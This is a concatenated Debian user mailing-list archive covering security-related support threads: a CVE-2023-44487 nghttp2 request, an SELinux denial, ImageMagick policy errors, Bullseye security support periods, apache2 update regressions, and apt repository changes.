> I would like to request an upgrade of the curl package (Linux Ubuntu Core 22 
> / Jammy) to Nghttp2
> v1.57.0 because of CVE-2023-44487: HTTP/2 Rapid Reset.
> https://nghttp2.org/blog/2023/10/10/nghttp2-v1-57-0/
> Thank you in advance.
>  
> Mit freundlichen Grüßen / Best regards
> 
> Marcus Marold
> ctrlX AppSoftware DC-AE/ESW1
> 
> Fax +49 9352 18-5830
> marcus.mar...@boschrexroth.de
> www.boschrexroth.com
> 
> Bosch Rexroth AG
> Bgm.-Dr.-Nebel-Str. 2
> 97816 Lohr am Main
> GERMANY
> 
> BOSCH REXROTH
> 
> 
> 
> Sitz: Stuttgart, Registergericht: Amtsgericht Stuttgart HRB 23192
> Vorstand: Dr. Steffen Haack (Vorsitzender), Roland Bittenauer, Thomas 
> Fechner, Holger von Hebel,
> Reinhard Schäfer
> Vorsitzender des Aufsichtsrats: Dr. Markus Forschner
> ​
> 

Hi,

For Ubuntu reference of which versions are or are not affected, see:

https://ubuntu.com/security/CVE-2023-44487

Regards

Phil

-- 
Playing the game for the games sake.

* Debian Maintainer

Web:

* Debian Wiki: https://wiki.debian.org/PhilWyett
* Website: https://kathenas.org

Social:

* Instagram: kathenasorg
* Threads: @kathenasorg





signature.asc
Description: This is a digitally signed message part


Re: Security vulnerability at curl package: CVE-2023-44487: HTTP/2 Rapid Reset

2023-11-28 Thread Brad Rogers
On Tue, 28 Nov 2023 08:56:28 +
"Marold Marcus (DC-AE/ESW1)"  wrote:

Hello Marold,

Firstly, we're (for the most part) users, not developers.

>I would like to request an upgrade of the curl package (Linux Ubuntu
>Core 22 /

Secondly, we're _Debian_ users not Ubuntu.

You'll have to take it up with Ubuntu.

-- 
 Regards  _   "Valid sig separator is {dash}{dash}{space}"
 / )  "The blindingly obvious is never immediately apparent"
/ _)rad   "Is it only me that has a working delete key?"
Makes you wonder how the other half die
Devil Inside - INXS


pgpUQA0ta4an1.pgp
Description: OpenPGP digital signature


Re: Security vulnerability at curl package: CVE-2023-44487: HTTP/2 Rapid Reset

2023-11-28 Thread Andy Smith
Hi,

On Tue, Nov 28, 2023 at 08:56:28AM +, Marold Marcus (DC-AE/ESW1) wrote:
> I would like to request an upgrade of the curl package (Linux
> Ubuntu Core 22 / Jammy) to Nghttp2 v1.57.0 because of
> CVE-2023-44487<https://github.com/advisories/GHSA-qppj-fm5r-hxr3>:
> HTTP/2 Rapid Reset.

Your mention of the curl package is confusing since this is a bug in
Nghttp2 amongst other things, so I assume that was just an error.

Secondly, this is Debian, not Ubuntu. If you want to report
something to Ubuntu, report it to Ubuntu.

Next up, this is a user support list contributed to by users. It's
not the place to officially report bugs, at least not if you want
them to be read by the package maintainers and to have some sort of
audit trail.

Looking at:

    https://security-tracker.debian.org/tracker/CVE-2023-44487
    https://security-tracker.debian.org/tracker/source-package/nghttp2

I see that for some reason the bug is fixed in unstable and bullseye
(oldstable) but not stable. I can't see any open bugs in nghttp2 so
possibly it's just delayed slightly but you may want to officially
report it to Debian using "reportbug" or the instructions at
https://bugs.debian.org/.

Thanks,
Andy

-- 
https://bitfolk.com/ -- No-nonsense VPS hosting



Re: Security vulnerability at curl package: CVE-2023-44487: HTTP/2 Rapid Reset

2023-11-28 Thread Marco Moock
Am 28.11.2023 um 08:56:28 Uhr schrieb Marold Marcus (DC-AE/ESW1):

> I would like to request an upgrade of the curl package (Linux Ubuntu
> Core 22 / Jammy) to Nghttp2 v1.57.0 because of
> CVE-2023-44487:
> HTTP/2 Rapid Reset.

That is the debian user mailing list, not related to Ubuntu.

Debian has curl 8.4.0 included.

Testing and unstable already have nghttp2 1.58.0.
Stable doesn't.
https://tracker.debian.org/pkg/nghttp2

Contact the maintainers (listed on the left) about that.



Security vulnerability at curl package: CVE-2023-44487: HTTP/2 Rapid Reset

2023-11-28 Thread Marold Marcus (DC-AE/ESW1)
Hello,

I would like to request an upgrade of the curl package (Linux Ubuntu Core 22 / 
Jammy) to Nghttp2 v1.57.0 because of 
CVE-2023-44487: HTTP/2 Rapid 
Reset.

https://nghttp2.org/blog/2023/10/10/nghttp2-v1-57-0/

Thank you in advance.

Mit freundlichen Grüßen / Best regards

Marcus Marold
ctrlX AppSoftware DC-AE/ESW1

Fax +49 9352 18-5830
marcus.mar...@boschrexroth.de
www.boschrexroth.com

Bosch Rexroth AG
Bgm.-Dr.-Nebel-Str. 2
97816 Lohr am Main
GERMANY

[BOSCH REXROTH]



Sitz: Stuttgart, Registergericht: Amtsgericht Stuttgart HRB 23192
Vorstand: Dr. Steffen Haack (Vorsitzender), Roland Bittenauer, Thomas Fechner, 
Holger von Hebel, Reinhard Schäfer
Vorsitzender des Aufsichtsrats: Dr. Markus Forschner
​












Re: Security question about daemon-init

2023-08-29 Thread Darac Marjal


On 29/08/2023 18:35, Bhasker C V wrote:

Apologies in advance for cross-group posting.

I have enabled selinux  and after carefully allowing certain 
permissions, I have put my system in enforcing mode


I do see a suspicious line like this


[  115.089395] audit: type=1400 audit(1693329979.841:11): avc:  denied 
 { getattr } for  pid=3104 comm="daemon-init" 
path="/home/bcv/.thunderbird" dev="dm-5" ino=257 
scontext=system_u:system_r:virtd_t:s0 
tcontext=system_u:object_r:thunderbird_home_t:s0 tclass=lnk_file 
permissive=0


I am not sure why on earth would daemon-init try to read .thunderbird 
directory under my homedir .


Has anyone faced this problem?

What is this daemon-init program and why does it want access to my 
home thunderbird directory ?


According to 
https://packages.debian.org/search?suite=bookworm=any=filename=contents=daemon-init 
there is no file within Debian Stable named "daemon-init".




Regards
Bhasker C V




OpenPGP_signature.asc
Description: OpenPGP digital signature


Security question about daemon-init

2023-08-29 Thread Bhasker C V
Apologies in advance for cross-group posting.

I have enabled selinux  and after carefully allowing certain permissions, I
have put my system in enforcing mode

I do see a suspicious line like this


[  115.089395] audit: type=1400 audit(1693329979.841:11): avc:  denied  {
getattr } for  pid=3104 comm="daemon-init" path="/home/bcv/.thunderbird"
dev="dm-5" ino=257 scontext=system_u:system_r:virtd_t:s0
tcontext=system_u:object_r:thunderbird_home_t:s0 tclass=lnk_file
permissive=0

I am not sure why on earth would daemon-init try to read .thunderbird
directory under my homedir .

Has anyone faced this problem?

What is this daemon-init program and why does it want access to my home
thunderbird directory ?

Regards
Bhasker C V


PS/PDF etc in import-im6.q16 not allowed by security policy

2023-06-09 Thread David Wright
[3rd attempt; first two flagged as spam]

On Thu 08 Jun 2023 at 17:11:01 (+0200), Roger Price wrote:
> On Thu, 8 Jun 2023, Greg Wooledge wrote:
> 
> > Roger, what is the full command that you used?  When I tested with
> > "import foo.png" it worked as expected.

One might assume that that's because .png is an allowed filetype:

  Rules are processed in order.  Here we want to restrict ImageMagick to only
  read or write a small subset of proven web-safe image types:

  [ … ] domain="coder" rights="read|write" pattern="{GIF,JPEG,PNG,WEBP}"

> Previously I used to type "import foo.jpg" but got into the habit of
> typing "import /tmp/foo" which I now understand produces the error
> message.
> 
> So this afternoon I went back to typing "import foo.jpg" and this
> works correctly, exactly as expected.  Thanks.  Roger
> 
> PS I would have expected a PostScript file by default but now that I
> know that I must specify an acceptable image type, I don't complain.
> The man page says “By default, 'file' is written in the Postscript
> image format.  To specify a particular image format, precede the
> filename with an image format name and a colon (i.e. ps:image) or
> specify the image type as the filename suffix (i.e. image.ps).”

That doesn't work on my bullseye, on account of:

  domain="coder" rights="none" pattern="PS"

The first thing I do after installing imagemagick is to comment
out the corresponding line for PDF, very near the end of the file
/etc/ImageMagick-6/policy.xml. (Same for buster.) I haven't used
PS files for many years.

Cheers,
David.


Re: Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Greg Wooledge
On Thu, Jun 08, 2023 at 04:51:44PM +0200, Roger Price wrote:
> I used to type "import foo.jpg" but got into the habit of typing "import
> /tmp/foo" which produces the error message.
> 
> So this afternoon I went back to typing "import foo.jpg" and this works
> correctly, exactly as expected.  Thanks.  Roger
> 
> PS I would have expected a PostScript file by default but now that I know
> that I must specify an acceptable image type, I don't complain.  The man
> page says “By default, 'file' is written in the Postscript image format.

Ahhh.  Now it all makes sense.  The default PostScript image type is
not allowed by policy, so you get this error if you don't specify any
image type, either implicitly with a filename dot-extension, or
explicitly with some ImageMagick command option.



Re: Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Roger Price

On Thu, 8 Jun 2023, Greg Wooledge wrote:


Roger, what is the full command that you used?  When I tested with
"import foo.png" it worked as expected.


Previously I used to type "import foo.jpg" but got into the habit of typing 
"import /tmp/foo" which I now understand produces the error message.


So this afternoon I went back to typing "import foo.jpg" and this works 
correctly, exactly as expected.  Thanks.  Roger


PS I would have expected a PostScript file by default but now that I know that I 
must specify an acceptable image type, I don't complain. The man page says “By 
default, 'file' is written in the Postscript image format.  To specify a 
particular image format, precede the filename with an image format name and a 
colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. 
image.ps).”





Re: Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Roger Price

On Thu, 8 Jun 2023, Greg Wooledge wrote:


Roger, what is the full command that you used?  When I tested with
"import foo.png" it worked as expected.


I used to type "import foo.jpg" but got into the habit of typing "import 
/tmp/foo" which produces the error message.


So this afternoon I went back to typing "import foo.jpg" and this works 
correctly, exactly as expected.  Thanks.  Roger


PS I would have expected a PostScript file by default but now that I know that I 
must specify an acceptable image type, I don't complain.  The man page says “By 
default, 'file' is written in the Postscript image format.  To specify a 
particular image format, precede the filename with an image format name and a 
colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. 
image.ps).”

Re: Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Thomas Schmitt
Hi,

Greg Wooledge wrote:
> You must have got a completely different set of Google results than I did.

That's a known effect from Google watching people digging in the web.
But maybe this time it's only the search string. I entered

  attempt to perform an operation not allowed by the security  policy `PS'

At the same input now i get indeed a link to a Python problem that caused
Imagemagick's "import" to be run by mistake and to issue the policy
message. But the vast majority still points to the configuration in
  /etc/ImageMagick-[67]/policy.xml

This here looks like a quite educated description of the PS refusal:

  
https://en.linuxportal.info/tutorials/troubleshooting/how-to-fix-errors-from-imagemagick-imagick-conversion-system-security-policy

ending with

  "The cause of the problem
   [...] A vulnerability was found in the program, which was first
   remedied by disabling access to the file formats in question in the
   config file above. Later, the bug was fixed correctly, a security
   update was released, but the security rules were not restored.
   [...]
   https://security-tracker.debian.org/tracker/source-package/imagemagick
   [...] CVE-2019-13300, CVE-2019-13304, CVE-2019-13306, CVE-2019-13307,
   CVE-2019-15140, CVE-2019-19948"


Have a nice day :)

Thomas



Re: Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Greg Wooledge
On Thu, Jun 08, 2023 at 02:39:11PM +0200, Thomas Schmitt wrote:
> Hi,
> 
> Roger Price wrote:
> > >  import-im6.q16: attempt to perform an operation not allowed by the 
> > > security
> > >  policy `PS' @ error/constitute.c/IsCoderAuthorized/421.
> 
> Greg Wooledge wrote:
> > I tried googling the error message, and I get extremely confusing results,
> > but as near as I can tell, the fundamental issue seems to be a name
> > conflict between the iport(1) shell command (/usr/bin/import) and the
> > Python "import" command for using modules.
> 
> Google gives me the impression that the error message has to do with the
> type of image to be created.
> I see matching reports about "policy `PDF'" pointing to file
>   /etc/ImageMagick-6/policy.xml
> which might contain lines like
>   
> 
> See for example
>   
> https://stackoverflow.com/questions/52998331/imagemagick-security-policy-pdf-blocking-conversion
>   https://suay.site/?p=2369=noscript

Fascinating.  You must have got a completely different set of Google
results than I did.

Roger, what is the full command that you used?  When I tested with
"import foo.png" it worked as expected.



Re: Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Thomas Schmitt
Hi,

Roger Price wrote:
> >  import-im6.q16: attempt to perform an operation not allowed by the security
> >  policy `PS' @ error/constitute.c/IsCoderAuthorized/421.

Greg Wooledge wrote:
> I tried googling the error message, and I get extremely confusing results,
> but as near as I can tell, the fundamental issue seems to be a name
> conflict between the iport(1) shell command (/usr/bin/import) and the
> Python "import" command for using modules.

Google gives me the impression that the error message has to do with the
type of image to be created.
I see matching reports about "policy `PDF'" pointing to file
  /etc/ImageMagick-6/policy.xml
which might contain lines like
  

See for example
  
https://stackoverflow.com/questions/52998331/imagemagick-security-policy-pdf-blocking-conversion
  https://suay.site/?p=2369=noscript


Have a nice day :)

Thomas



Re: Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Greg Wooledge
On Thu, Jun 08, 2023 at 02:06:12PM +0200, Roger Price wrote:
> I use the import program provided by Debian 11 (bullseye) to grab parts of
> the screen.  This worked well but I was having difficulty remembering that
> "import" means "screen-grab".  So as root I set up the soft link
> 
>  ln -s /usr/bin/import /usr/bin/screen-grab
> 
> Now, whenever I try to run screen-grab or import or import-im6.q16 I get the
> error message:
> 
>  import-im6.q16: attempt to perform an operation not allowed by the security
>  policy `PS' @ error/constitute.c/IsCoderAuthorized/421.
> 
> So I removed the link, but calls to import still produce the error message.

Creating that symlink has nothing to do with this problem... whatever
this problem is.

I tried googling the error message, and I get extremely confusing results,
but as near as I can tell, the fundamental issue seems to be a name
conflict between the iport(1) shell command (/usr/bin/import) and the
Python "import" command for using modules.

Are you trying to run import from inside a python interpreter, or a
python virtual env?  If so, that might be part of it.  Otherwise, I'm
at a loss.



Link to import-im6.q16 not allowed by security policy ?

2023-06-08 Thread Roger Price
I use the import program provided by Debian 11 (bullseye) to grab parts of the 
screen.  This worked well but I was having difficulty remembering that "import" 
means "screen-grab".  So as root I set up the soft link


 ln -s /usr/bin/import /usr/bin/screen-grab

Now, whenever I try to run screen-grab or import or import-im6.q16 I get the 
error message:


 import-im6.q16: attempt to perform an operation not allowed by the security
 policy `PS' @ error/constitute.c/IsCoderAuthorized/421.

So I removed the link, but calls to import still produce the error message.

How can I get back to the original behaviour?  Where should I start 
looking?


Roger



Re: Bullseye debian security support?

2023-05-31 Thread Marc SCHAEFER
Hello,

On Wed, May 31, 2023 at 11:37:34AM -0700, John Conover wrote:
> How long will Debian Bullseye have debian security team support after
> Bookworm is announced?

LTS planning is here:

   https://wiki.debian.org/LTS

bullseye will be LTS-supported til june 2026 (not yet clearly defined),
but will only be handed to LTS in july 2024: until then, it's normal
security support.



Bullseye debian security support?

2023-05-31 Thread John Conover


How long will Debian Bullseye have debian security team support after
Bookworm is announced?

Thanks,

John

-- 

John Conover, cono...@panix.com, http://www.johncon.com/



Re: apache2: fix the regressions introduced by security upgrade in Bullseye?

2023-04-03 Thread Gareth Evans
On Mon  3 Apr 2023, at 16:28, Gareth Evans  wrote:
> On Mon  3 Apr 2023, at 13:27, Harald Dunkel  wrote:
>> Hi folks,
>>
>> AFAIU apache2 2.4.56-1 has been included in Bullseye to mitigate
>> CVE-2023-27522 and CVE-2023-25690 (both some mod_proxy issue
>> with high severity). Good thing.
>>
>> Unfortunately this introduced 2 regressions for mod_rewrite and
>> http2, see
>>
>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033284
>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033408
>> https://metadata.ftp-master.debian.org/changelogs//main/a/apache2/apache2_2.4.56-2_changelog
>>
>> Would it be possible to fix the upgrade? I can turn off http2,
>> but I feel *very* bad about running an apache with a broken
>> mod_rewrite in production.
>>
>>
>> Thank you very much
>>
>> Harri
>
>
> "In Mitre's CVE dictionary: [..] CVE-2023-25690, CVE-2023-27522 [...] 
>
> For the stable distribution (bullseye), these problems have been fixed 
> in version 2.4.56-1~deb11u1.
>
> We recommend that you upgrade your apache2 packages."
>
> https://www.debian.org/security/2023/dsa-5376
>
> $ apt policy apache2
> apache2:
>   Installed: 2.4.56-1~deb11u1
>   Candidate: 2.4.56-1~deb11u1
>   Version table:
>  *** 2.4.56-1~deb11u1 500
> 500 http://security.debian.org/debian-security 
> bullseye-security/main amd64 Packages
>
> You will need at least
>
> deb http://security.debian.org/debian-security/ bullseye-security main 
>
> in /etc/apt/sources.list if not there already, though I think "contrib" 
> and certainly "non-free" are unnecessary in this particular case.
>
> Best wishes,
> Gareth

Sorry, you were talking about regressions - concentration lapse on my part.
G



Re: apache2: fix the regressions introduced by security upgrade in Bullseye?

2023-04-03 Thread Gareth Evans
On Mon  3 Apr 2023, at 13:27, Harald Dunkel  wrote:
> Hi folks,
>
> AFAIU apache2 2.4.56-1 has been included in Bullseye to mitigate
> CVE-2023-27522 and CVE-2023-25690 (both some mod_proxy issue
> with high severity). Good thing.
>
> Unfortunately this introduced 2 regressions for mod_rewrite and
> http2, see
>
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033284
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033408
> https://metadata.ftp-master.debian.org/changelogs//main/a/apache2/apache2_2.4.56-2_changelog
>
> Would it be possible to fix the upgrade? I can turn off http2,
> but I feel *very* bad about running an apache with a broken
> mod_rewrite in production.
>
>
> Thank you very much
>
> Harri


"In Mitre's CVE dictionary: [..] CVE-2023-25690, CVE-2023-27522 [...] 

For the stable distribution (bullseye), these problems have been fixed in 
version 2.4.56-1~deb11u1.

We recommend that you upgrade your apache2 packages."

https://www.debian.org/security/2023/dsa-5376

$ apt policy apache2
apache2:
  Installed: 2.4.56-1~deb11u1
  Candidate: 2.4.56-1~deb11u1
  Version table:
 *** 2.4.56-1~deb11u1 500
500 http://security.debian.org/debian-security bullseye-security/main 
amd64 Packages

You will need at least

deb http://security.debian.org/debian-security/ bullseye-security main 

in /etc/apt/sources.list if not there already, though I think "contrib" and 
certainly "non-free" are unnecessary in this particular case.

Best wishes,
Gareth



Re: apache2: fix the regressions introduced by security upgrade in Bullseye?

2023-04-03 Thread Vincent Lefevre
On 2023-04-03 15:59:15 +0200, Harald Dunkel wrote:
> On 2023-04-03 14:49:16, Vincent Lefevre wrote:
> > 
> > What about apache2 2.4.56-2?
> 
> This version is not in Bullseye. Only 2.4.56-1, introducing
> the regressions.

If you're talking about Bullseye, 2.4.56-1 isn't in Bullseye either.
It is 2.4.56-1~deb11u1 that got to stable-security. So I think that
you need to wait for another update for Bullseye, but since the
regressions were fixed only yesterday, this may take several days.
See when something new appears on

  https://tracker.debian.org/pkg/apache2

You may also try to patch and rebuild apache2.

-- 
Vincent Lefèvre  - Web: <https://www.vinc17.net/>
100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/>
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)



Re: apache2: fix the regressions introduced by security upgrade in Bullseye?

2023-04-03 Thread Harald Dunkel

On 2023-04-03 14:49:16, Vincent Lefevre wrote:


What about apache2 2.4.56-2?



This version is not in Bullseye. Only 2.4.56-1, introducing
the regressions.



Re: apache2: fix the regressions introduced by security upgrade in Bullseye?

2023-04-03 Thread Vincent Lefevre
Hi,

On 2023-04-03 14:27:48 +0200, Harald Dunkel wrote:
> AFAIU apache2 2.4.56-1 has been included in Bullseye to mitigate
> CVE-2023-27522 and CVE-2023-25690 (both some mod_proxy issue
> with high severity). Good thing.
> 
> Unfortunately this introduced 2 regressions for mod_rewrite and
> http2, see
> 
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033284
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033408
> https://metadata.ftp-master.debian.org/changelogs//main/a/apache2/apache2_2.4.56-2_changelog
> 
> Would it be possible to fix the upgrade? I can turn off http2,
> but I feel *very* bad about running an apache with a broken
> mod_rewrite in production.

What about apache2 2.4.56-2?

"Fix regression in mod_rewrite introduced in version 2.4.56"
"Fix regression in http2 introduced by 2.4.56"

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)



apache2: fix the regressions introduced by security upgrade in Bullseye?

2023-04-03 Thread Harald Dunkel

Hi folks,

AFAIU apache2 2.4.56-1 has been included in Bullseye to mitigate
CVE-2023-27522 and CVE-2023-25690 (both some mod_proxy issue
with high severity). Good thing.

Unfortunately this introduced 2 regressions for mod_rewrite and
http2, see

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033284
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1033408
https://metadata.ftp-master.debian.org/changelogs//main/a/apache2/apache2_2.4.56-2_changelog

Would it be possible to fix the upgrade? I can turn off http2,
but I feel *very* bad about running an apache with a broken
mod_rewrite in production.


Thank you very much

Harri



Re: Debian security team support for Bullseye?

2023-01-07 Thread Sven Joachim
On 2023-01-07 11:22 -0800, John Conover wrote:

> How much longer will Debian security team support Bullseye?

For one year after the release of Bookworm, whenever that may be.

> The LTS Wiki page is kind of confusing as to when I have to upgrade to
> Bookworm.

It seems to project that the LTS team takes over Bullseye in July 2024,
but the exact time depends on when Bookworm is actually released.

Cheers,
   Sven



Debian security team support for Bullseye?

2023-01-07 Thread John Conover
How much longer will Debian security team support Bullseye?

The LTS Wiki page is kind of confusing as to when I have to upgrade to
Bookworm.

Thanks,

John

-- 

John Conover, cono...@panix.com, http://www.johncon.com/



Re: apt update fails due to Label and Version changes for buster security

2022-12-16 Thread John Boxall

On 2022-12-16 13:00, Tim Woodall wrote:

Thanks Tim, I will root around in the docs a little more. Strange 
because I've done multiple updates since your last backup date of Dec 
2nd and not had this issue. H.

--
Regards,

John Boxall



Re: apt update fails due to Label and Version changes for buster security

2022-12-16 Thread Tim Woodall

On Fri, 16 Dec 2022, Tim Woodall wrote:


On Fri, 16 Dec 2022, Tim Woodall wrote:


On Thu, 15 Dec 2022, John Boxall wrote:


The following happened just now when updating my Buster system:


+ apt update
Hit:1 http://deb.debian.org/debian buster InRelease Get:2 
http://security.debian.org/debian-security buster/updates InRelease [34.8 
kB] Hit:3 http://dl.google.com/linux/chrome/deb stable InRelease Hit:4 
http://deb.debian.org/debian buster-updates InRelease E: Repository 
'http://security.debian.org/debian-security buster/updates InRelease' 
changed its 'Label' value from 'Debian' to 'Debian-Security'
N: Repository 'http://security.debian.org/debian-security buster/updates 
InRelease' changed its 'Version' value from '10.13' to '10'
N: This must be accepted explicitly before updates for this repository can 
be applied. See apt-secure(8) manpage for details.
Do you want to accept these changes and continue updating from this 
repository? [y/N] n
Hit:5 https://download.virtualbox.org/virtualbox/debian buster InRelease 
Hit:6 https://updates.signal.org/desktop/apt xenial InRelease Reading 
package lists... Done E: Failed to fetch 
http://security.debian.org/debian-security/dists/buster/updates/InRelease
E: Some index files failed to download. They have been ignored, or old 
ones used instead.

-


I didn't have this issue about four hours ago. Does anyone have any ideas?



I think there's an apt option APT::AllowReleaseInfoChange (or
soemthing very similar). Check
/usr/share/doc/apt/examples/configure.gz

Sorry, don't remember the exact setting nor the exact file to check for
it off the top of my head.

Having said that, I don't have this issue (yet...)


Hmmm:

Origin: Debian
Label: Debian-Security
Suite: oldstable
Version: 10
Codename: buster
Date: Fri, 16 Dec 2022 09:35:11 UTC

So I do have these values. But I didn't get any alert that they had
changed.


Sorry for the separate messages, I should have done all this before I
posted.

The oldest backup I have available online is from 2nd December and it
hasn't changed:

Origin: Debian
Label: Debian-Security
Suite: oldstable
Version: 10
Codename: buster
Date: Fri, 02 Dec 2022 21:33:08 UTC


I'm not going to go digging through my old offline backups to see
if/when this was different. But it's not something that changed
recently.

Tim.



Re: apt update fails due to Label and Version changes for buster security

2022-12-16 Thread Tim Woodall

On Fri, 16 Dec 2022, Tim Woodall wrote:


On Thu, 15 Dec 2022, John Boxall wrote:


The following happened just now when updating my Buster system:


+ apt update
Hit:1 http://deb.debian.org/debian buster InRelease 
Get:2 http://security.debian.org/debian-security buster/updates InRelease 
[34.8 kB] Hit:3 http://dl.google.com/linux/chrome/deb stable InRelease 
Hit:4 http://deb.debian.org/debian buster-updates InRelease E: Repository 
'http://security.debian.org/debian-security buster/updates InRelease' 
changed its 'Label' value from 'Debian' to 'Debian-Security'
N: Repository 'http://security.debian.org/debian-security buster/updates 
InRelease' changed its 'Version' value from '10.13' to '10'
N: This must be accepted explicitly before updates for this repository can 
be applied. See apt-secure(8) manpage for details.
Do you want to accept these changes and continue updating from this 
repository? [y/N] n
Hit:5 https://download.virtualbox.org/virtualbox/debian buster InRelease 
Hit:6 https://updates.signal.org/desktop/apt xenial InRelease 
Reading package lists... Done 
E: Failed to fetch 
http://security.debian.org/debian-security/dists/buster/updates/InRelease
E: Some index files failed to download. They have been ignored, or old ones 
used instead.

-


I didn't have this issue about four hours ago. Does anyone have any ideas?



I think there's an apt option APT::AllowReleaseInfoChange (or
soemthing very similar). Check
/usr/share/doc/apt/examples/configure.gz

Sorry, don't remember the exact setting nor the exact file to check for
it off the top of my head.

Having said that, I don't have this issue (yet...)


Hmmm:

Origin: Debian
Label: Debian-Security
Suite: oldstable
Version: 10
Codename: buster
Date: Fri, 16 Dec 2022 09:35:11 UTC

So I do have these values. But I didn't get any alert that they had
changed.

Tim.







Re: apt update fails due to Label and Version changes for buster security

2022-12-16 Thread Tim Woodall

On Thu, 15 Dec 2022, John Boxall wrote:


The following happened just now when updating my Buster system:


+ apt update
Hit:1 http://deb.debian.org/debian buster InRelease 

Get:2 http://security.debian.org/debian-security buster/updates InRelease 
[34.8 kB] 
Hit:3 http://dl.google.com/linux/chrome/deb stable InRelease 
Hit:4 http://deb.debian.org/debian buster-updates InRelease 
E: Repository 'http://security.debian.org/debian-security buster/updates 
InRelease' changed its 'Label' value from 'Debian' to 'Debian-Security'
N: Repository 'http://security.debian.org/debian-security buster/updates 
InRelease' changed its 'Version' value from '10.13' to '10'
N: This must be accepted explicitly before updates for this repository can be 
applied. See apt-secure(8) manpage for details.
Do you want to accept these changes and continue updating from this 
repository? [y/N] n
Hit:5 https://download.virtualbox.org/virtualbox/debian buster InRelease 

Hit:6 https://updates.signal.org/desktop/apt xenial InRelease 

Reading package lists... Done 

E: Failed to fetch 
http://security.debian.org/debian-security/dists/buster/updates/InRelease
E: Some index files failed to download. They have been ignored, or old ones 
used instead.

-


I didn't have this issue about four hours ago. Does anyone have any ideas?



I think there's an apt option APT::AllowReleaseInfoChange (or
soemthing very similar). Check
/usr/share/doc/apt/examples/configure.gz

Sorry, don't remember the exact setting nor the exact file to check for
it off the top of my head.

Having said that, I don't have this issue (yet...)

Tim.




apt update fails due to Label and Version changes for buster security

2022-12-15 Thread John Boxall

The following happened just now when updating my Buster system:


+ apt update
Hit:1 http://deb.debian.org/debian buster InRelease 



Get:2 http://security.debian.org/debian-security buster/updates 
InRelease [34.8 kB] 

Hit:3 http://dl.google.com/linux/chrome/deb stable InRelease 

Hit:4 http://deb.debian.org/debian buster-updates InRelease 

E: Repository 'http://security.debian.org/debian-security buster/updates 
InRelease' changed its 'Label' value from 'Debian' to 'Debian-Security'
N: Repository 'http://security.debian.org/debian-security buster/updates 
InRelease' changed its 'Version' value from '10.13' to '10'
N: This must be accepted explicitly before updates for this repository 
can be applied. See apt-secure(8) manpage for details.
Do you want to accept these changes and continue updating from this 
repository? [y/N] n
Hit:5 https://download.virtualbox.org/virtualbox/debian buster InRelease 



Hit:6 https://updates.signal.org/desktop/apt xenial InRelease 



Reading package lists... Done 



E: Failed to fetch 
http://security.debian.org/debian-security/dists/buster/updates/InRelease
E: Some index files failed to download. They have been ignored, or old 
ones used instead.

-


I didn't have this issue about four hours ago. Does anyone have any ideas?
--
Regards,

John Boxall



Re: does apt upgrade & full-upgrade packages from Security Updates (Debian Security Advisories (DSA))

2022-11-13 Thread jindam, vani
On Sun, Nov 13, 2022 at 09:56:21AM +, jindam, vani wrote:
> i have only deb http://deb.debian.org/debian bullseye main contrib non-free 
> in my sources.list. 
> 
> does apt upgrade & full-upgrade packages from Security Updates (Debian 
> Security Advisories (DSA))?

> No, you have to add the security repo to your sources.

> which is correct?
> deb http://security.debian.org/debian-security bullseye-security main contrib 
> non-free (1)
> deb http://deb.debian.org/debian-security/ bullseye-security main contrib 
> non-free

I think it's the first one.

yes, thank you. both README.security (1)(2) on security.debian & deb.debian 
say samething... interesting. debian wiki (3) says 
otherwise, perhaps need to update it.

regards,
jindam, vani

toots: @jindam_v...@c.im
others: en.wikipedia.org/wiki/User:Jindam_vani


(1) http://deb.debian.org/debian-security/README.security
(2) https://security.debian.org/debian-security/README.security
(3) https://wiki.debian.org/SourcesList

> Cheers
>-- 
>t



Re: does apt upgrade & full-upgrade packages from Security Updates (Debian Security Advisories (DSA))

2022-11-13 Thread tomas
On Sun, Nov 13, 2022 at 09:56:21AM +, jindam, vani wrote:
> i have only deb http://deb.debian.org/debian bullseye main contrib non-free 
> in my sources.list. 
> 
> does apt upgrade & full-upgrade packages from Security Updates (Debian 
> Security Advisories (DSA))?

No, you have to add the security repo to your sources.

> which is correct?
> deb http://security.debian.org/debian-security bullseye-security main contrib 
> non-free (1)
> deb http://deb.debian.org/debian-security/ bullseye-security main contrib 
> non-free

I think it's the first one.

Cheers
-- 
t


signature.asc
Description: PGP signature


does apt upgrade & full-upgrade packages from Security Updates (Debian Security Advisories (DSA))

2022-11-13 Thread jindam, vani
i have only deb http://deb.debian.org/debian bullseye main contrib non-free in 
my sources.list. 

does apt upgrade & full-upgrade packages from Security Updates (Debian Security 
Advisories (DSA))?

which is correct?
deb http://security.debian.org/debian-security bullseye-security main contrib 
non-free (1)
deb http://deb.debian.org/debian-security/ bullseye-security main contrib 
non-free


(1) https://www.debian.org/security/

regards,
jindam, vani

toots: @jindam_v...@c.im
others: en.wikipedia.org/wiki/User:Jindam_vani



Re: Fwd: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-03 Thread David Wright
On Wed 02 Nov 2022 at 13:53:24 (-0400), Greg Wooledge wrote:
> On Wed, Nov 02, 2022 at 12:45:57PM -0500, Nicholas Geovanis wrote:
> > > > On 2022-11-02 03:40, Anssi Saari wrote:
> > > >> Looks like a linux-5.10 source package was indeed added to Buster in
> > > >> August and as you noted, it's getting security updates too.
> 
> > I'm just curious if this is the first time that a kernel _version_ bump
